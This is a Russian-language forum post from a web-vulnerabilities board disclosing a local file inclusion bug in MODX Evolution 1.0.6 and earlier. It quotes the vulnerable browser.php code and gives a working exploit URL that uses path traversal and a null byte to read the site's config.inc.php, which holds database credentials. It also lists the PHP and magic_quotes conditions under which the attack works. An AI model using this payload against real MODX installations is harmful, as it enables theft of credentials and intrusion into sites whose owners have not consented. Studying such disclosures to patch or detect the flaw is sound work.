LFI в browser.php MODX Evo <= 1.0.6 (only php 5.2)

Discussion in 'Веб-уязвимости' started by Agel Nash, 27 Jul 2012.

  1. Agel Nash

    Agel Nash New Member

    Joined:
    23 Jul 2009
    Messages:
    12
    Likes Received:
    4
    Reputations:
    5
    LFI в browser.php MODX Evo <= 1.0.6 (mq=off и php<5.3.4)

    LFI в modx cms(smf) только ветка EVO <= 1.0.6
    Условия: mq=off и php<5.3.4

    manager/media/browser/mcpuk/browser.php

    PHP:
    define('MODX_BASE_PATH', realpath('../../../../')); 
    $rb = new FBROWSER(); 
    $ph = array(); 
    $ph['seturl_js'] = $rb->seturl_js(); 
    $output = $rb->render_fbrowser($ph); 
    echo 
    $output; 
    class 
    FBROWSER 
    { 
        function 
    seturl_js() 
        { 
            
    $seturl_js_filename = 'seturl_js_'  . htmlspecialchars($_GET['editor']) . '.inc'; 
            
    $seturl_js_path = MODX_BASE_PATH . 'assets/plugins/'; 
            if(
    file_exists($seturl_js_path . $seturl_js_filename)) 
            { 
                
    $result = file_get_contents($seturl_js_path . $seturl_js_filename); 
            } 
            else 
            { 
                
    /*...............*/ 
            
    } 
            return 
    $result; 
        } 
    Найдено мной только что. На серверах с php >=5.3 воспроизвести не удалось, т.к. file_exists говорит что файла не существует, если ему подсунуть путь с ../

    Примечательно, что такой мегакритичный баг живет уже давно в этом движке. (хотя наверное в приватах давно знают об этом баге).
    Code:
    http://example.com/manager/media/browser/mcpuk/browser.php?editor=/../../../docs/manager/includes/config.inc.php%00
    Как можно заметить, мы выходим чуть выше директории в которой находится сайт. Поэтому нужно узнать пути. Благо способов море: 1, 2, 3
     
    #1 Agel Nash, 27 Jul 2012
    Last edited: 27 Jul 2012
    2 people like this.